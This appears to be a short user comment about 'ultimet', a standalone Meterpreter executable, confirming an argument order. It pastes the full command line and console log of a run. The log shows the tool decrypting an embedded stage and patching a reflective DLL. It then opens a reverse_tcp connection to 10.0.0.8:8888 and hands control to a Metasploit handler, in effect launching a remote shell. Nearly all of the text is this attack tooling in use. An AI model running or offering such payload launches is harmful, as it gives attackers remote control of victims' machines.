its working well if -t is defined after defining -h and -p in arguments please check it :)

D:\>"Code Drafts\Ultimet\Debug\inmet.exe" -h 10.0.0.8 -p 8888 -t reverse_tcp

****************************************************
[+] [ultimet] - The Ultimate Meterpreter Executable
[+] v0.25.1 - Revolution
****************************************************
  -  http://eldeeb.net - @SheriefEldeeb

[*] Loading stage into memory from resource...
[!] Looks like loaded stage is encrypted, Locating Encryption key...
[*] "RnFQjr4wgTFaJcV4" will be used; decrypting...
[*] Looks like stage decrypted correctly, proceeding to patching stage...
[*] Patching transport: Offset 0x0009c894 ->  "METERPRETER_TRANSPORT_SSL"
[*] ReflectiveDll function offset found: 0x0000153e
[*] Patching ReflectiveDll Bootstrap: "MZ" Offset 0x00000000
[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.
    next time use "-t reverse_metsvc" -> "exploit/multi/handler/windows/metsvc_reverse_tcp".
 -  anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...

[*] Make sure you have "windows/meterpreter/reverse_tcp" handler running.

[+] Socket: 136
[*] Connecting "10.0.0.8:8888"
[*] Stage length = "752128" bytes.
[*] Success! "752133" bytes allocated.
[*] Setting EDI-to-be value:  0x0053ecf4 -> 0xBF
[*] Copying the socket address to the next 4 bytes...
[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!